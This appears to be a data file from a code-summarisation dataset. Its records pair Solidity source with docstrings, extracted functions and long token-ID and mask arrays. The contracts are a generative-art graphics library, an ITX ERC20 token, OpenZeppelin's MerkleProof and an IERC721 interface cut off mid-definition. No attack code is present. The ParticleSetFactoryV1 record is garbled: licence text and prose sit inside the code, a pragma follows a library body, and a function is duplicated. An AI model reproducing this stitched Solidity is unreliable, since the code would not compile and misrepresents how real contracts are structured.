// File contracts/V1/ProcessingV1.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
library ProcessingV1 {
uint32 internal constant BG_COLOR = 0xFFD3D3D3;
uint32 internal constant FILL_COLOR = 0xFFFFFFFF;
uint32 internal constant STROKE_COLOR = 0x00000000;
uint32 internal constant MAX_POLYGON_NODES = 400;
/**
* @notice Sets the color used for the background of the drawing surface.
* @notice https://processing.org/reference/background_.html
*/
function background(
uint32[20480] /* 128 * 160 */
memory result,
uint32 color,
TypesV1.Chunk2D memory chunk
) internal pure {
for (uint256 x = 0; x < chunk.chunkWidth; x++) {
for (uint256 y = 0; y < chunk.chunkHeight; y++) {
GraphicsV1.setPixel(
result,
chunk.chunkWidth,
int256(x),
int256(y),
color
);
}
}
}
/**
* @notice A triangle is a plane created by connecting three points. The first two arguments specify the first point, the middle two arguments specify the second point, and the last two arguments specify the third point.
* @notice https://processing.org/reference/triangle_.html
* @dev Renders a filled triangle, using the Barycentric rasterization algorithm.
*/
function triangle(
uint32[20480] /* 128 * 160 */
memory result,
GeometryV1.Triangle2D memory f
) internal pure {
TypesV1.Point2D memory p;
uint256 minX = f.chunk.startX;
uint256 maxX = (f.chunk.startX + f.chunk.chunkWidth) - 1;
uint256 minY = f.chunk.startY;
uint256 maxY = (f.chunk.startY + f.chunk.chunkHeight) - 1;
while (GeometryV1.edge(f.v0, f.v1, f.v2) < 0) {
TypesV1.Point2D memory temp = f.v1;
f.v1 = f.v2;
f.v2 = temp;
}
for (p.x = int256(minX); p.x <= int256(maxX); p.x++) {
for (p.y = int256(minY); p.y <= int256(maxY); p.y++) {
int256 w0 = GeometryV1.edge(f.v1, f.v2, p);
int256 w1 = GeometryV1.edge(f.v2, f.v0, p);
int256 w2 = GeometryV1.edge(f.v0, f.v1, p);
if (w0 >= 0 && w1 >= 0 && w2 >= 0) {
GraphicsV1.setPixel(
result,
f.chunk.chunkWidth,
int256(p.x - int32(f.chunk.startX)),
int256(p.y - int32(f.chunk.startY)),
f.fillColor
);
}
}
}
if (f.strokeColor == f.fillColor) return;
{
line(result, GeometryV1.Line2D(f.v0, f.v1, f.strokeColor, f.chunk));
line(result, GeometryV1.Line2D(f.v1, f.v2, f.strokeColor, f.chunk));
line(result, GeometryV1.Line2D(f.v2, f.v0, f.strokeColor, f.chunk));
}
}
/**
* @notice Draws a line (a direct path between two points) to the screen.
* @notice https://processing.org/reference/line_.html
* @dev Renders a line between two points, using Bresenham's rasterization algorithm.
*/
function line(uint32[20480] memory result, GeometryV1.Line2D memory f)
internal
pure
{
int256 x0 = f.v0.x;
int256 x1 = f.v1.x;
int256 y0 = f.v0.y;
int256 y1 = f.v1.y;
int256 dx = MathV1.abs(x1 - x0);
int256 dy = MathV1.abs(y1 - y0);
int256 err = (dx > dy ? dx : -dy) / 2;
int256 e2;
for (;;) {
if (
x0 <= int32(f.chunk.startX) + int16(f.chunk.chunkWidth) - 1 &&
x0 >= int32(f.chunk.startX) &&
y0 <= int32(f.chunk.startY) + int16(f.chunk.chunkHeight) - 1 &&
y0 >= int32(f.chunk.startY)
) {
GraphicsV1.setPixel(
result,
f.chunk.chunkWidth,
x0 - int32(f.chunk.startX),
y0 - int32(f.chunk.startY),
f.color
);
}
if (x0 == x1 && y0 == y1) break;
e2 = err;
if (e2 > -dx) {
err -= dy;
x0 += x0 < x1 ? int8(1) : -1;
}
if (e2 < dy) {
err += dx;
y0 += y0 < y1 ? int8(1) : -1;
}
}
}
/**
* @notice Draw a polygon shape to the screen.
* @notice https://processing.org/reference/beginShape_.html
* @notice https://processing.org/reference/vertex_.html
* @notice https://processing.org/reference/endShape_.html
* @dev Renders a filled polygon, using Finley's algorithm.
*/
function polygon(uint32[20480] memory result, GeometryV1.Polygon2D memory f)
internal
pure
{
uint32 polyCorners = f.vertexCount;
int32[MAX_POLYGON_NODES] memory nodeX;
for (
uint32 pixelY = f.chunk.startY;
pixelY < (f.chunk.startY + f.chunk.chunkHeight);
pixelY++
) {
uint32 i;
uint256 nodes = 0;
uint32 j = polyCorners - 1;
for (i = 0; i < polyCorners; i++) {
TypesV1.Point2D memory a = TypesV1.Point2D(
f.vertices[i].x,
f.vertices[i].y
);
TypesV1.Point2D memory b = TypesV1.Point2D(
f.vertices[j].x,
f.vertices[j].y
);
if (
(a.y < int32(pixelY) && b.y >= int32(pixelY)) ||
(b.y < int32(pixelY) && a.y >= int32(pixelY))
) {
int32 t = int32(a.x) +
((int32(pixelY) - int32(a.y)) /
(int32(b.y) - int32(a.y))) *
(int32(b.x) - int32(a.x));
nodeX[nodes++] = t;
}
j = i;
}
if (nodes == 0) {
continue; // nothing to draw
}
i = 0;
while (i < nodes - 1) {
if (nodeX[i] > nodeX[i + 1]) {
(nodeX[i], nodeX[i + 1]) = (nodeX[i + 1], nodeX[i]);
if (i != 0) i--;
} else {
i++;
}
}
for (i = 0; i < nodes; i += 2) {
if (
nodeX[i] >=
int32(f.chunk.startX) + int16(f.chunk.chunkHeight)
) break;
if (nodeX[i + 1] <= int32(f.chunk.startX)) continue;
if (nodeX[i] < int32(f.chunk.startX))
nodeX[i] = int32(f.chunk.startX);
if (
nodeX[i + 1] >
int32(f.chunk.startX) + int16(f.chunk.chunkHeight)
)
nodeX[i + 1] = int32(
int32(f.chunk.startX) + int16(f.chunk.chunkHeight)
);
for (int32 pixelX = nodeX[i]; pixelX < nodeX[i + 1]; pixelX++) {
if (
pixelX >=
int32(f.chunk.startX) + int16(f.chunk.chunkHeight)
) continue;
int32 px = int32(pixelX) - int32(f.chunk.startX);
int32 py = int32(pixelY) - int32(f.chunk.startY);
if (
px >= 0 &&
px < int16(f.chunk.chunkWidth) &&
py >= 0 &&
py < int16(f.chunk.chunkHeight)
) {
GraphicsV1.setPixel(
result,
f.chunk.chunkWidth,
px,
py,
f.fillColor
);
}
}
}
}
if (f.strokeColor == f.fillColor) return;
{
uint256 j = f.vertices.length - 1;
for (uint256 i = 0; i < f.vertices.length; i++) {
TypesV1.Point2D memory a = f.vertices[i];
TypesV1.Point2D memory b = f.vertices[j];
line(result, GeometryV1.Line2D(a, b, f.strokeColor, f.chunk));
j = i;
}
line(
result,
GeometryV1.Line2D(
f.vertices[f.vertices.length - 1],
f.vertices[0],
f.strokeColor,
f.chunk
)
);
}
}
/**
* @notice Renders a number from a random series of numbers having a mean of 0 and standard deviation of 1.git
* @notice https://processing.org/reference/randomGaussian_.html
*/
function randomGaussian(RandomV1.PRNG memory prng)
internal
pure
returns (int64)
{
return RandomV1.nextGaussian(prng);
}
} | File contracts/V1/ParticleSetFactoryV1.sol License-Identifier: UNLICENSED Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. *// | library ParticleSetFactoryV1 {
uint16 internal constant PARTICLE_TABLE_SIZE = 5000;
function step(
ParticleV1.Particle2D memory p, uint32[16384] memory result,
TypesV1.Chunk2D memory chunk
) internal pure virtual;
}
pragma solidity ^0.8.0;
A noise-based particle simulator, built for generative art that uses flow fields.
Based on techniques in Sighack's "Getting Creative with Perlin Noise Fields":
THIRD PARTY NOTICES:
====================
MIT License
Copyright (c) 2018 Manohar Vanga
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
struct CreateParticleSet2D {
int32 seed;
uint32 range;
uint16 width;
uint16 height;
uint16 n;
int64 forceScale;
int64 noiseScale;
uint8 lifetime;
}
function createSet(CreateParticleSet2D memory f, RandomV1.PRNG memory prng)
external
pure
returns (ParticleSetV1.ParticleSet2D memory set, RandomV1.PRNG memory)
{
ParticleV1.Particle2D[PARTICLE_TABLE_SIZE] memory particles;
for (uint16 i = 0; i < f.n; i++) {
int256 px = RandomV1.next(
prng,
-int32(f.range),
int16(f.width) + int32(f.range)
);
int256 py = RandomV1.next(
prng,
-int32(f.range),
int16(f.height) + int32(f.range)
);
ParticleV1.Particle2D memory particle = ParticleV1.Particle2D(
int64(px),
int64(py),
0,
0,
int64(px),
int64(py),
0,
false,
TypesV1.Point2D(0, 0),
f.lifetime,
f.forceScale,
f.noiseScale
);
particles[i] = particle;
}
set.particles = particles;
return (set, prng);
}
function createSet(CreateParticleSet2D memory f, RandomV1.PRNG memory prng)
external
pure
returns (ParticleSetV1.ParticleSet2D memory set, RandomV1.PRNG memory)
{
ParticleV1.Particle2D[PARTICLE_TABLE_SIZE] memory particles;
for (uint16 i = 0; i < f.n; i++) {
int256 px = RandomV1.next(
prng,
-int32(f.range),
int16(f.width) + int32(f.range)
);
int256 py = RandomV1.next(
prng,
-int32(f.range),
int16(f.height) + int32(f.range)
);
ParticleV1.Particle2D memory particle = ParticleV1.Particle2D(
int64(px),
int64(py),
0,
0,
int64(px),
int64(py),
0,
false,
TypesV1.Point2D(0, 0),
f.lifetime,
f.forceScale,
f.noiseScale
);
particles[i] = particle;
}
set.particles = particles;
return (set, prng);
}
}
| 12,839,685 | [
1,
812,
20092,
19,
58,
21,
19,
1988,
3711,
694,
1733,
58,
21,
18,
18281,
16832,
17,
3004,
30,
5019,
6065,
1157,
18204,
25417,
261,
71,
13,
26599,
21,
1475,
83,
12266,
9042,
16854,
13352,
16,
15090,
18,
4826,
14989,
8735,
18,
368,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
6393,
3711,
694,
1733,
58,
21,
288,
203,
565,
2254,
2313,
2713,
5381,
20814,
2871,
900,
67,
7775,
67,
4574,
273,
20190,
31,
203,
203,
565,
445,
2235,
12,
203,
3639,
6393,
3711,
58,
21,
18,
1988,
3711,
22,
40,
3778,
293,
16,
2254,
1578,
63,
2313,
17295,
65,
3778,
563,
16,
203,
3639,
7658,
58,
21,
18,
5579,
22,
40,
3778,
2441,
203,
565,
262,
2713,
16618,
5024,
31,
203,
97,
203,
203,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
565,
432,
10825,
17,
12261,
20036,
3142,
11775,
16,
6650,
364,
1215,
1535,
3688,
716,
4692,
4693,
1466,
18,
203,
203,
565,
25935,
603,
13878,
15834,
29896,
316,
348,
2031,
484,
1807,
315,
19213,
5799,
1535,
598,
5722,
7511,
2631,
784,
7190,
6877,
203,
203,
565,
7662,
7937,
40,
3939,
5538,
29940,
55,
30,
203,
565,
28562,
631,
203,
203,
565,
490,
1285,
16832,
203,
203,
565,
25417,
261,
71,
13,
14863,
8660,
16699,
297,
776,
539,
69,
203,
203,
565,
8509,
353,
2674,
1637,
17578,
16,
4843,
434,
13765,
16,
358,
1281,
6175,
28158,
3280,
279,
1610,
203,
565,
434,
333,
17888,
471,
3627,
7323,
1390,
261,
5787,
315,
21742,
6,
3631,
358,
10490,
203,
565,
316,
326,
24199,
2887,
9318,
16,
6508,
2887,
17732,
326,
14989,
203,
565,
358,
999,
16,
1610,
16,
5612,
16,
2691,
16,
3808,
16,
25722,
16,
272,
447,
3558,
16,
471,
19,
280,
357,
80,
203,
565,
13200,
434,
326,
24199,
16,
471,
358,
21447,
6175,
87,
2
] |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// ITX Token contract
//
// Deployed to : 0x96Bd84d7FC939c29Dd053d43Ff28F01Def4f947d
// Symbol : ITX
// Name : Intcoex coin
// Total supply: 20000000000000000000
// Decimals : 10
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ITX_Token is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ITX_Token() public {
symbol = "ITX";
name = "Intcoex coin";
decimals = 10;
_totalSupply = 20000000000000000000;
balances[0x96Bd84d7FC939c29Dd053d43Ff28F01Def4f947d] = _totalSupply;
Transfer(address(0), 0x96Bd84d7FC939c29Dd053d43Ff28F01Def4f947d, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | ---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------ | contract ITX_Token is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function ITX_Token() public {
symbol = "ITX";
name = "Intcoex coin";
decimals = 10;
_totalSupply = 20000000000000000000;
balances[0x96Bd84d7FC939c29Dd053d43Ff28F01Def4f947d] = _totalSupply;
Transfer(address(0), 0x96Bd84d7FC939c29Dd053d43Ff28F01Def4f947d, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 2,338,905 | [
1,
5802,
7620,
4232,
39,
3462,
3155,
16,
598,
326,
2719,
434,
3273,
16,
508,
471,
15105,
471,
1551,
25444,
1147,
29375,
8879,
13849,
8879,
17082,
11417,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
467,
16556,
67,
1345,
353,
4232,
39,
3462,
1358,
16,
14223,
11748,
16,
14060,
10477,
288,
203,
565,
533,
1071,
3273,
31,
203,
565,
533,
1071,
225,
508,
31,
203,
565,
2254,
28,
1071,
15105,
31,
203,
565,
2254,
1071,
389,
4963,
3088,
1283,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
13,
324,
26488,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
3719,
2935,
31,
203,
203,
203,
565,
445,
467,
16556,
67,
1345,
1435,
1071,
288,
203,
3639,
3273,
273,
315,
1285,
60,
14432,
203,
3639,
508,
273,
315,
1702,
2894,
338,
13170,
14432,
203,
3639,
15105,
273,
1728,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
576,
12648,
12648,
3784,
31,
203,
3639,
324,
26488,
63,
20,
92,
10525,
38,
72,
5193,
72,
27,
4488,
29,
5520,
71,
5540,
40,
72,
6260,
23,
72,
8942,
42,
74,
6030,
42,
1611,
3262,
24,
74,
29,
9462,
72,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
12279,
12,
2867,
12,
20,
3631,
374,
92,
10525,
38,
72,
5193,
72,
27,
4488,
29,
5520,
71,
5540,
40,
72,
6260,
23,
72,
8942,
42,
74,
6030,
42,
1611,
3262,
24,
74,
29,
9462,
72,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
5381,
1135,
261,
11890,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
225,
300,
324,
26488,
63,
2867,
12,
20,
13,
15533,
203,
565,
289,
203,
203,
203,
565,
445,
11013,
951,
12,
2867,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
